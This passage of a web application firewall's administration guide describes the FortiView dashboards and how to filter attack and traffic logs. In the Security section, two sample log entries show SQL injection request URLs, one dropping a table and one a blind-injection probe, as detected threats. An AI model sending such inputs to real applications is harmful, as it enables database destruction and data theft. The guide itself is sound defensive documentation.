Even if you disable a server policy, it still consumes memory (RAM). If you do not plan to use the policy for some time, consider deleting it instead.

To enable or disable a policy

1. Go to **Policy > Server Policy**.
2. In the row corresponding to the policy that you want to **enable**, click the switch on in the **Enable** column.
3. In the row corresponding to the policy that you want to **disable**, click the switch off in the **Enable** column.

FortiView

FortiView is a graphical analysis tool. It displays real-time and historical web traffic data so that you can visualize and drill down into your FortiWeb configuration and its environment, including server/IP configurations, attack and traffic logs, attack maps, and user activity. You can see information about specific types of attacks, where attacks are originating, who carries out attacks, and how policies and settings handle attacks.

FortiView makes it easy to get an actionable picture of your network's web traffic. This information allows you to precisely configure FortiWeb according to your environment and ensure that your configuration is set up to defend against common threats. FortiView is comprised of four menus:

Topology

FortiView's Topology menu allows you to monitor policy information for:

- A single server
- Server pools
- Content routing settings

You can view the status of each server policy, their server or server pool(s), and the status of each server. You can also view the status of each content routing policy associated with each server policy.

For details, see "[Topology](#)" on page 300.

Security

FortiView's Security menu allows you to monitor threats, including:

- Countries originating attacks
- Devices originating attacks
- Specific types of attacks

You can also view a real-time threat map and set up scanner integration to learn more about your environment to tighten security.

For details, see "[Security](#)" on page 305.

Traffic

FortiView's Traffic menu allows you to monitor:

- The source of each session
- The originating country of each session

You can also view information such as HTTP/S transactions and versions, HTTP methods, and HTTP response codes of web traffic.

For details, see "[Traffic](#)" on page 315.

Sessions

FortiView's Sessions menu allows you to monitor the following information about each session:

- Server policy
- Source IP
- Destination IP

You can also view the source port and destination port of each session, view the established connection time of each session, and end sessions as needed.


For more information, See ["Sessions"](#) on page 319.

Interface

This section shows you how to navigate the FortiView interface for the Security, Traffic, and Sessions menus. FortiView's Topology menu uses a unique interface; for details, see ["Topology"](#) on page 300.

Navigating FortiView

FortiView's Security, Traffic, and Sessions menus each have a top menu bar and graphical analysis window that you can use to filter information and toggle between various view modes, as seen in the following image:



Use these settings along the top of the window to view and filter web traffic data:

	Click the Refresh icon to update the web traffic data.
 Add Filter	Click the Add Filter icon to filter the web traffic data. From here, you can enter the specific category or categories for which you want to filter, or select available categories from a drop-down menu. Alternatively, you can double-click web traffic data to filter information for the category you select.
	Use the View Type icon to select how FortiWeb presents web traffic data. The default view type is Table View. The available view types are: • Table View • Bubble Chart • Country Map Note: All view types may not be available for all types of web traffic data in FortiView.
5 minutes 1 hour 24 hours	Select the time period within which to view web traffic data.


Example: Filtering web traffic data

You can filter web traffic data to drill down from a high-level overview to a detailed analysis of particular elements of your environment. From the Security, Traffic, and Sessions menus, the process is essentially the same.

Below is an example using the Security menu to illustrate how the filtering and drill down process works.

1. Go to **FortiView > Security > Countries**.
2. Click **Add Filter**, select **Country**, and either enter the name of the country or select the country from the drop-down menu. In this case, we select the United States.
3. Double-click the country in the list below to view a summary of the country.

You will see the country's **Threats**, **Threat Score**, **Action (Block/Alert)**, and **Service (HTTP/HTTPS)** in the specified time period; you will also be able select tabs to view specific **Threats**, **Sources**, **Client Devices**, **HTTP Methods**, and **URLs** from the country:



4. Double-click the **Bad Robot** threat category under the **Threats** tab. Every bad robot attack launched from the United States within the selected time period will be viewable.



This step could be completed for any threat category in the **Threats** tab, or under any other tab from the country summary page in [Step 3](#) on page 294. For example, if you select the **Sources** tab, you will be able to see every source IP address from the selected country, and can drill down into attacks from each source IP address.

5. Optionally, you can further drill down into your environment and set filters for the selected threat category. Click the **Add Filter** icon and select among the available categories to drill down into:

You can set multiple filters to more precisely drill down into the environment.


6. Double-click a specific attack to view its **Log Details**. The **Log Details** provide all of the available information about a specific attack:

View Types


There are three **View Types**:

- Table View
- Bubble Chart
- Country Map

Table View



Bubble Chart




Use the **Sort By** drop-down menu in the top-right corner of the Bubble Chart window to view data by:


- Threats
- Threat Level
- Threat Score

The size of the bubble represents the relative amount of data for which you're filtering using the **Sort By** drop-down menu. Click a bubble to drill down into the element and view more information.

You can also mouse over an element to learn more information about it:




Country Map




Use the **Sort By** drop-down menu in the top-right corner of the Country Map window to view data by:

- Threats
- Threat Score

Mouse over an element to learn more information about it:



You can locate a specific country on the map using the **Add Filter** icon. The selected country will be highlighted, and every other country will be greyed out:




Topology

FortiView's Topology menu provides visual representations for your single server or server pool configuration and content routing settings for each policy. There are two **View Types** for each: Block View and Tree View.

Single Server/Server Pool

Go to **FortiView > Topology > Single Server/Server Pool**.

From this window, you can see each server policy and its server or server pool configuration. The default **View Type** is Block View:




In the top-right corner of each block, the vserver IP is displayed; you can also view the IP of each server associated with a given server policy next to that server in each policy block.

The arrow in the bottom-right corner of each block and next to a server IP in each block indicates:


Green	The server is running.
Orange	The server is not running.

Alternatively, you can view each server policy and its server or server pool configuration in Tree View. In the top-left corner of the window, click the **View Type** drop-down menu and select Tree View:




Each server policy branches to its server or server pool, and, if in a server pool configuration, then leads to each server in the pool. You can click the  (minimize) icon next to a server or server pool to hide the server(s) for that server or server pool; click the  (maximize) icon to display the server(s) for that server or server pool again.


To display information about a server policy, mouse over it:



To display information about a server or server pool, mouse-over it:




To display information about a specific server, mouse-over it:




Content Routing

Go to **FortiView > Topology > Content Routing**.

From this window, you can see each content routing policy and its corresponding server policy. The default **View Type** is Block View:




To view information about a content routing policy, click the corresponding server policy block. You will be able to see each content routing policy for that block:



The arrow next to a server IP in each block indicates:


Green	The server is running.
Orange	The server is not running.

Alternatively, you can view each server policy and content routing policies in Tree View. In the top-left corner of the window, click the **View Type** drop-down menu and select Tree View:




You can click the  (minimize) icon next to a server or server pool to hide the server(s) for that server or server pool; click the  (maximize) icon to display the server(s) for that server or server pool again.


To display information about a server policy, mouse over it:




To display information about a content routing policy, mouse over it:



To display information about a server pool, mouse over it:



To display information about a specific server, mouse over it:



See also

- [Configuring a server policy](#)
- [Creating a server pool](#)
- [Routing based on HTTP content](#)

Security

FortiView's Security menu provides information about the specific types of attacks FortiWeb detects, the countries in which attacks originate, and the specific devices that attackers use.


You can see the total number of threats, threat scores, the types of actions FortiWeb carries out in response to specific types of attacks, and how severe attacks are.

This gives you the ability to modify your FortiWeb configuration to best address specific threats your environment faces.

Countries

Go to **FortiView > Security > Countries**.

From this window, you can see total threat data and threat data for each country:




Viewing individual countries

There are two ways to drill down into the key elements about a specific country:

- Double-click the country from the list of countries.
- Click the **Add Filter** icon and select the country.

A country summary provides an overview of the total threats, accumulated threat score, actions, and service used:



From here, you can also view information about specific types of threats, the source IP of attacks, the client devices that launched attacks, HTTP methods used, and targeted URLs for the specified country under the **Threats**, **Sources**, **Client Devices**, **HTTP Methods**, and **URLs** tabs, respectively. You can use either the **Add Filter** icon to filter for these things, or select the relevant tab and double-click the row of the thing you want to know more about.

You can even filter for a combination of these things. For example, below you can see the server policy that handled a specific type of threat from a particular device that targeted a specific URL:

System FortiView Topology Security Countries Threats Threat Map Scanner Integration Traffic Sessions User Policy Server Objects Application Delivery Web Protection DoS Protection Tracking Auto Learn Web Vulnerability Scan Log&Report

Country: United States Threat: Cross Site Scripting URL: /url1 Policy: server-policy5 Client Device ID: 3d7ff300a8a16eb2-9a50cc0d8223b9a0 Add Filter

5 minutes 1 hour 24 hours

#	Date/Time	Policy	Source	Destination	Threat Level	Action	Mess
1	08:50:01	server-policy5	97.129.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000
2	08:49:52	server-policy5	73.129.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000
3	08:49:31	server-policy5	13.129.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
4	08:49:24	server-policy5	169.128.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
5	08:48:56	server-policy5	97.128.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
6	08:48:48	server-policy5	73.128.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
7	08:48:27	server-policy5	13.128.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000
8	08:48:20	server-policy5	169.127.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000
9	08:48:15	server-policy5	157.127.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
10	08:47:52	server-policy5	97.127.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000
11	08:47:44	server-policy5	73.127.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000
12	08:47:23	server-policy5	13.127.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
13	08:47:16	server-policy5	169.126.3.147	1.1.1.3	High	Alert_Deny	Parameter(link) triggered signature ID 010000
14	08:47:11	server-policy5	157.126.3.147	1.1.1.1	High	Alert_Deny	Parameter(link) triggered signature ID 010000

<< < 1 /2 > >> [Total: 217]

For any given country, you can drill down into specific threat, source IP, client device ID, HTTP method, or URL entries to learn more information about them via the **Log Details**. Below is an example.

1. Go to **FortiView > Security > Countries**.
2. To drill down into a country, double-click it.
3. Select the **Sources** tab.



You can select any tab for a country to view the **Log Details** of an attack. To view the **Log Details** of an attack, you simply have to select a specific attack.

4. Drill down into an IP address.

You will see every attack made from that IP address.


5. Select a specific attack from the IP address. You will be able to see information about the attack from this IP address. The **Log Details** will appear along the right side of the window:

The screenshot shows the FortiView Security interface. At the top, there are filters for Country (United States) and Source (99.150.3.148). Below the filters is a table of attacks with columns: #, Date/Time, Policy, Source, Destination, Threat Level, Action, Message, HTTP, and Log Details. Three attacks are listed, all from source 99.150.3.148 to destination 1.1.1.3. The first attack is Critical, Alert_Deny, triggered by a signature ID 030000087. The second is Medium, Alert, triggered by a signature ID 070000001. The third is High, Alert, triggered by a signature ID 110000001. The Log Details panel on the right shows the details for the selected attack, including Source (Country: United States, Source: 99.150.3.148, Source Port: 58110), Destination (1.1.1.3, Port: 80), HTTP (Service: http, Version: 1.x, Method: get, Host: www.host4.com, URL: /url?id=1; drop table admin;--), Security (Threat Level: Critical, Severity Level: High, Threat Weight: 50, Historical Threat Weight: 0, Action: Alert_Deny, Main Type: Signature Detection, Sub Type: SQL Injection, Message: Parameter(id) triggered signature ID 030000087 of Signatures policy Signature-Fortiview-Pol), Signature (Signature Subclass: SQL Injection, Signature ID: 030000087), and User (Username: Unknown, Client Device ID: 47474ae77d61194c-9a50cc0d8223b9a0).

Threats

Go to **FortiView > Security > Threats**.

From this window, you can see total threat data that FortiWeb has detected:




Viewing Map specific threats

There are two ways to view information about a specific type of threat:


- Double-click the threat from the list of threats
- Click the **Add Filter** icon and select the threat

A summary for a particular threat shows the threat level, total number of threats, accumulated threat score, actions, and service used for that threat:



From here, you can also view information about the source IP of attacks, countries from which attacks are launched, the client devices that launched attacks, HTTP methods used, and targeted URLs under the **Sources**, **Countries**, **Client Devices**, **HTTP Methods**, and **URLs** tabs, respectively. You can use either the **Add Filter** icon to filter for these things, or select the relevant tab and double-click the row of the thing you want to know more about.

You can even filter for a combination of these things, including the amount of a specific type of threat from a particular device in a given country that targeted a specific URL:



For any given type of threat, you can drill down into specific country, source IP, client device ID, HTTP method, or URL entries to learn more information about the threat via the **Log Details**. Below is an example:

1. Go to **FortiView > Security > Threats**.
2. Select a threat.
3. Select the **Sources** tab.



You can select any tab for a country to view the **Log Details** of an attack. To view the **Log Details** of an attack, you simply have to select a specific attack.

4. Double-click an IP address.

You will see every attack made from that IP address.

5. Select a specific attack from the IP address. You will be able to see information about the attack from this IP address. The **Log Details** will appear along the right side of the window:

The screenshot displays the FortiView Security Log Details window. The top bar shows filters: Threat: SQL Injection, Source: 86.149.3.148, and Add Filter. The log table has columns: #, Date/Time, Policy, Source, Destination, Threat Level, Action, Message, and HTTP Log Details. The first entry (ID 1) is highlighted, showing a SQL Injection attack on 2017-09-29 at 12:44:02. The threat level is Medium, and the action is Alert_Deny. The message indicates that the parameter [id] triggered signature ID 030000065 of the Signatures policy Signature-Fortiview-Pol. The HTTP Log Details pane on the right shows the following information:


- General:** Date: 2017-09-29, Time: 12:44:02, Time Zone: (GMT-8:00)Pacific Time(US&Canada), Log ID: 20000008, MSG ID: 000043498322, FortiWeb Device ID: FVVM000UNLICENSED.
- Proxy:** Server Policy: server-policy5, Monitor Mode: Disabled, Server Pool: SPool, HTTP Content Routing: none, FortiWeb Session ID: none.
- Source:** Source Country: United Kingdom, Source: 86.149.3.148, Source Port: 57804.
- Destination:** Destination: 1.1.1.2, Destination Port: 80.
- HTTP:** Service: http, HTTP Version: 1.x, HTTP Method: get, HTTP Host: www.host3.com, URL: /url?id=1 and 0<>(select count(*) from sys.user_catalog where substr(object_name,1,1)=A), HTTP Referer: none, User Agent: webinspect.
- Security:** Threat Level: Medium, Severity Level: High, Threat Weight: 10, Historical Threat Weight: 0, Action: Alert_Deny, Main Type: Signature Detection.

The bottom of the window shows a pagination bar with the text: << < 1 / 1 > >> [Total: 1].

Threat Map

Go to **FortiView > Security > Threat Map**.

The Threat Map displays network activity by geographic region. From this window, you can see a global map that shows threats in real-time from specific countries:



In the top-right corner of the window, you can select:

now—View incoming threats in real-time.


1 hour—View a snapshot of incoming threats from the last hour.

Scanner Integration

Go to **FortiView > Security > Scanner Integration**.

If you've configured FortiWeb to receive XML-format reports from third-party web vulnerability scanners, you can visualize the scanner reports here.


From this window, you can see a summary of mitigated and open threats from scanner reports:



In the top-right corner of the window, in the top menu bar, you can use the Vulnerability Status drop-down menu to view either Open or Mitigated threats. You can also use the **Add Filter** icon in the top menu bar to filter for the following information:


- Action
- Adom Name
- Date/Time
- File Name
- ID
- Profile Name
- Profile Type
- Rule Type
- Scanner Type
- Severity
- Vulnerability Name

Under the **Summary Information**, you can see the severity of Open and Mitigated threats that the vulnerability scans detect. Mouse over elements of the pie chart to learn more information:




Click elements of the pie chart to drill down into them. When you click an element to drill down into it, use the **Statistics by** drop-down menu to view threats by:

- Severity
- Scanner Type



When viewing the pie chart by Severity or Scanner Type, click an element of the pie chart to drill down another level and view the proportion of specific types of vulnerabilities for that element:



See also

- [Configuring a server policy](#)
- [Blocking known attacks & data leaks](#)

- Blocking client devices with poor reputation
- Generate protection profiles using a scanner report

Traffic

FortiView's Traffic menu provides a graphical analysis of FortiWeb's web traffic, including the following information:


- Destination IP addresses
- Policies
- Domains
- HTTP Methods
- HTTP Response Codes
- URLs

You can view this information according to either source IP address or country of origin.

Sources

Go to **FortiView > Traffic > Sources**.

From this window, you can see web traffic from each source IP address:



Use these settings along the top of the window to view and filter source data:



Click the **Refresh** icon to refresh the total web traffic data and web traffic data for each source IP address.



Click the **Add Filter** icon to filter web traffic data by source. From here, you can either enter the source that you want to filter, or click **Source** and select the source from the menu.

Alternatively, you can double-click a source in the list to filter information for that source.



Use the **View Type** icon to select how FortiWeb presents the web traffic data. The default type is Table View. The available types are:

- Table View
- Bubble Chart

5 minutes **1 hour** 24 hours

Select the time period within which to view source IP address data.

When you select a source, you will see that source's HTTP Transactions, the service used, the HTTP version, and bytes sent/received in the selected time period. You can also drill down into the following tabs to view more information about the selected source: **Destinations**, **Policies**, **Domains**, **HTTP Methods**, **HTTP Response Codes**, and **URLs**. For example, the **Destinations** tab allows you to drill down into each destination IP address of the selected source:


System
FortiView
Topology
Security
Traffic
Sources
Countries
Sessions
User
Policy
Server Objects
Application Delivery
Web Protection
DoS Protection
Tracking
Auto Learn
Web Vulnerability Scan
Log&Report
Monitor

Source: 172.31.13.218
Add Filter

5 minutes
1 hour
24 hours

Summary of 172.31.13.218

HTTP Transactions : 7981
Service (HTTP/HTTPS) : 7981
HTTP Version (HTTP1.X/HTTP2) : 7981
Bytes (Sent/Received) : 253.18 MB
Time Period : Last Hour



Destinations
Policies
Domains
HTTP Methods
HTTP Response Codes
URLs

Destination	HTTP Transactions	Service (HTTP/HTTPS)	HTTP Version (HTTP1.X/HTTP2)	Bytes (Sent/Received)
1.1.1.1	1998	1998/0	1998/0	1.34 MB/61.28 MB
1.1.1.2	1997	1997/0	1997/0	1.29 MB/62.48 MB
1.1.1.4	1995	1995/0	1995/0	1.29 MB/63.03 MB
1.1.1.3	1995	1995/0	1995/0	1.34 MB/61.28 MB

[Total: 4]

For example, when you drill down into the **1.1.1.1** destination IP address under the **Destinations** tab, you will see this web traffic data for the selected destination IP address:

System

FortiView

Topology

Security

Traffic

Sources

Countries

Sessions

User

Policy

Server Objects

Application Delivery

Web Protection

DoS Protection

Tracking

Auto Learn

Web Vulnerability Scan

Log&Report

Monitor

Source: 172.31.13.218

Destination: 1.1.1.1

Add Filter

5 minutes

1 hour

24 hours

#	Date/Time	Policy	Source	Destination	Service	Method	Return Code	Message	
1	15:22:24	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36890 to 1.1.1.1:80	
2	15:22:21	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36880 to 1.1.1.1:80	
3	15:22:20	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36872 to 1.1.1.1:80	
4	15:22:18	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36864 to 1.1.1.1:80	
5	15:22:17	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36856 to 1.1.1.1:80	
6	15:22:17	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36296 to 1.1.1.1:80	
7	15:22:16	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36848 to 1.1.1.1:80	
8	15:22:13	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36840 to 1.1.1.1:80	
9	15:22:11	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36832 to 1.1.1.1:80	
10	15:22:09	server-policy5	172.31.13.218	1.1.1.1	http	post		HTTP post request from 172.31.13.218:36254 to 1.1.1.1:80	
11	15:22:09	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36816 to 1.1.1.1:80	
12	15:22:08	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36808 to 1.1.1.1:80	
13	15:22:05	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36800 to 1.1.1.1:80	
14	15:22:02	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36792 to 1.1.1.1:80	
15	15:22:01	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36784 to 1.1.1.1:80	
16	15:21:59	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36776 to 1.1.1.1:80	
17	15:21:56	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36760 to 1.1.1.1:80	
18	15:21:56	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36766 to 1.1.1.1:80	
19	15:21:55	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36192 to 1.1.1.1:80	
20	15:21:55	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36752 to 1.1.1.1:80	
21	15:21:54	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:36744 to 1.1.1.1:80	

Q

<< < 1 /10 > >>


[Total: 1998]

Similarly, when you drill down into the **Domains** tab, you will see the same web traffic data for the selected domain(s).

Countries

Go to **FortiView > Traffic > Countries**.

From this window, you can see web traffic from each country:



Use these settings along the top of the window to view and filter country data:



Click the **Refresh** icon to refresh the total web traffic data for each country.



Click the **Add Filter** icon to filter web traffic data by country. From here, you can either enter the country that you want to filter, or click **Country** and select the country from the menu.

Alternatively, you can double-click a country in the list to filter information for that country.




Use the **View Type** icon to select how FortiWeb presents the country web traffic data. The default type is Table View. The available types are:

- Table View
- Bubble Chart
- Country Map

5 minutes
1 hour
24 hours

Select the time period within which to view country web traffic data.

When you select a country, you will see that country's HTTP Transactions, the service used, the HTTP version, and bytes sent/received in the selected time period. You can also drill down into the following tabs to view more information about the selected source: **Destinations**, **Policies**, **Domains**, **HTTP Methods**, **HTTP Response Codes**, and **URLs**. For example, the **Domains** tab allows you to drill down into web traffic to domains coming from the selected country:



For example, when you drill down into the **www.host3.com** domain under the **Domains** tab, you will see this web traffic data for the selected domain:

System	Country: Reserved Domain: www.host3.com Add Filter										5 minutes	1 hour	24 hours	
FortiView	#	Date/Time	Policy	Source	Destination	Service	Method	Return Code	Message	Source Country	HTTP Host			
Topology	1	09:40:16	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:46300 to 1.1.1.1:80	Reserved	www.host3.com			
Security	2	09:40:13	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46286 to 1.1.1.3:80	Reserved	www.host3.com			
Traffic	3	09:40:13	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46280 to 1.1.1.3:80	Reserved	www.host3.com			
Sources	4	09:40:11	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46266 to 1.1.1.4:80	Reserved	www.host3.com			
Countries	5	09:40:08	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:46260 to 1.1.1.1:80	Reserved	www.host3.com			
Sessions	6	09:40:03	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46246 to 1.1.1.2:80	Reserved	www.host3.com			
User	7	09:40:02	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46240 to 1.1.1.3:80	Reserved	www.host3.com			
Policy	8	09:39:58	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46226 to 1.1.1.4:80	Reserved	www.host3.com			
Server Objects	9	09:39:58	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:46220 to 1.1.1.1:80	Reserved	www.host3.com			
Application Delivery	10	09:39:55	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46206 to 1.1.1.2:80	Reserved	www.host3.com			
Web Protection	11	09:39:54	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46200 to 1.1.1.3:80	Reserved	www.host3.com			
DoS Protection	12	09:39:50	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46186 to 1.1.1.4:80	Reserved	www.host3.com			
Tracking	13	09:39:49	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46180 to 1.1.1.2:80	Reserved	www.host3.com			
Auto Learn	14	09:39:47	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46166 to 1.1.1.2:80	Reserved	www.host3.com			
Web Vulnerability Scan	15	09:39:46	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46160 to 1.1.1.3:80	Reserved	www.host3.com			
Log&Report	16	09:39:40	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46146 to 1.1.1.4:80	Reserved	www.host3.com			
Monitor	17	09:39:40	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:46140 to 1.1.1.1:80	Reserved	www.host3.com			
	18	09:39:39	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46136 to 1.1.1.3:80	Reserved	www.host3.com			
	19	09:39:35	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46122 to 1.1.1.4:80	Reserved	www.host3.com			
	20	09:39:34	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46116 to 1.1.1.4:80	Reserved	www.host3.com			
	21	09:39:32	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46102 to 1.1.1.2:80	Reserved	www.host3.com			
	22	09:39:32	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46096 to 1.1.1.3:80	Reserved	www.host3.com			
	23	09:39:27	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46082 to 1.1.1.4:80	Reserved	www.host3.com			
	24	09:39:26	server-policy5	172.31.13.218	1.1.1.1	http	get	500	HTTP get request from 172.31.13.218:46076 to 1.1.1.1:80	Reserved	www.host3.com			
	25	09:39:23	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46062 to 1.1.1.2:80	Reserved	www.host3.com			
	26	09:39:20	server-policy5	172.31.13.218	1.1.1.3	http	get	500	HTTP get request from 172.31.13.218:46056 to 1.1.1.3:80	Reserved	www.host3.com			
	27	09:39:18	server-policy5	172.31.13.218	1.1.1.4	http	get	500	HTTP get request from 172.31.13.218:46042 to 1.1.1.4:80	Reserved	www.host3.com			
	28	09:39:17	server-policy5	172.31.13.218	1.1.1.2	http	get	500	HTTP get request from 172.31.13.218:46036 to 1.1.1.2:80	Reserved	www.host3.com			

Similarly, when you drill down into the **Policies** tab, you will see web traffic data for the selected server policy and country.

Sessions

FortiView's Sessions menu provides information about each session that FortiWeb monitors, including the following:

- Server policies
- Requests
- Established connection times
- Destination IP addresses
- Source ports
- Destination ports

All of this data helps you better understand users connecting to your network and how policies in your FortiWeb configuration are monitoring them. You can even end individual sessions or groups of sessions as needed.

Sources

Go to **FortiView > Sessions > Sources**.

From this window, you can see information about every source IP address that FortiWeb is currently monitoring, including the total number of sessions, the total number of requests, and bytes sent/received of each source:

System	>	Add Filter			
FortiView	>	Source	Sessions	Requests	Bytes (Sent/Received)
Topology	>	172.31.13.218	23	23	14.39 KB/0 B
Security	>				
Traffic	>				
Sessions	>				
Sources	>				
Policies	>				
User	>				
Policy	>				
Server Objects	>				

Use these settings along the top of the window to view source information:

Click the **Refresh** icon to refresh information about each source.

Click the **Add Filter** icon to filter source information by session, policy, and destination. From here, you can either enter the parameter that you want to filter, or select the parameter from the menu.

Alternatively, you can double-click the source to filter session information by session, policy, and destination.

When you drill down into a source, you can view its **Policies**, **Destinations**, and **Sessions**. For example, the below image shows the **Policies** tab. You can drill down into **server-policy5** to view each source IP address that the policy is monitoring:

System	>	Source: 172.31.13.218 Add Filter			
FortiView	>	Summary of 172.31.13.218			
Topology	>	Policies Destinations Sessions			
Security	>	Policy	Sessions	Requests	Bytes (Sent/Received)
Traffic	>	server-policy5	25	25	16.13 KB/0 B
Sessions	>				
Sources	>				
Policies	>				
User	>				
Policy	>				
Server Objects	>				

When you drill down into **server-policy5**, you will see this information for each source IP address:

System	>	Source: 172.31.13.218 Policy: server-policy5 Add Filter							
FortiView	>	Source	Source Port	Destination	Destination Port	Bytes (Sent/Received)	Requests	Policy	Established Time
Topology	>	172.31.13.218	50026	1.1.1.4	80	717 B/O B	1	server-policy5	99s
Security	>	172.31.13.218	50270	1.1.1.1	80	717 B/O B	1	server-policy5	45s
Traffic	>	172.31.13.218	50006	1.1.1.2	80	717 B/O B	1	server-policy5	103s
Sessions	>	172.31.13.218	50230	1.1.1.2	80	717 B/O B	1	server-policy5	54s
Sources	>	172.31.13.218	49986	1.1.1.4	80	717 B/O B	1	server-policy5	108s
Policies	>	172.31.13.218	50310	1.1.1.2	80	717 B/O B	1	server-policy5	36s
	>	172.31.13.218	49906	1.1.1.4	80	716 B/O B	1	server-policy5	125s
User	>	172.31.13.218	50210	1.1.1.4	80	716 B/O B	1	server-policy5	59s
Policy	>	172.31.13.218	50130	1.1.1.4	80	716 B/O B	1	server-policy5	77s
Server Objects	>	172.31.13.218	50044	1.1.1.1	80	568 B/O B	1	server-policy5	95s
Application Delivery	>	172.31.13.218	50268	1.1.1.2	80	568 B/O B	1	server-policy5	45s
	>	172.31.13.218	49964	1.1.1.1	80	568 B/O B	1	server-policy5	115s
Web Protection	>	172.31.13.218	50228	1.1.1.1	80	568 B/O B	1	server-policy5	54s
DoS Protection	>	172.31.13.218	49984	1.1.1.3	80	568 B/O B	1	server-policy5	108s

Similarly, when you drill down into the **Destinations** tab, you will see session information for the selected destination IP address(es).

Policies

Go to **FortiView > Sessions > Policies**.

From this window, you can see information about every server policy, including the total number of sessions, the total number of requests, and bytes sent/received of each source:

System	>	Add Filter			
FortiView	>	Policy	Sessions	Requests	Bytes (Sent/Received)
Topology	>	server-policy5	23	23	14.54 KB/O B
Security	>				
Traffic	>				
Sessions	>				
Sources	>				
Policies	>				
User	>				
Policy	>				
Server Objects	>				

Use these settings along the top of the window to view session information:



Click the **Refresh** icon to refresh information about each policy.



Click the **Add Filter** icon to filter policy information by source and destination. From here, you can either enter the parameter that you want to filter, or select the parameter from the menu.

Alternatively, you can double-click the policy to filter policy information by session, source, and destination.

If you drill down into a policy, you can view its **Sources**, **Destinations**, and **Sessions**. For example, the below image shows the **Destinations** tab. You can drill down into any of the destination IP addresses:

System	>	← ↺ Policy: server-policy5 + Add Filter ×			
FortiView	▼	Summary of server-policy5			
Topology	>				
Security	>	Sources Destinations Sessions			
Traffic	>	Destination	Sessions	Requests	Bytes (Sent/Received)
Sessions	▼	1.1.1.1	9	9	5.26 KB/0 B
Sources		1.1.1.2	7	7	4.86 KB/0 B
Policies		1.1.1.3	6	6	3.40 KB/0 B
		1.1.1.4	6	6	4.30 KB/0 B
User	>				
Policy	>				
Server Objects	>				

When you drill down into the **1.1.1.1** destination, you will see this information about each source IP address going to the selected destination under the selected policy:

System	>	← ↺ Destination: 1.1.1.1 Policy: server-policy5 + Add Filter ×				
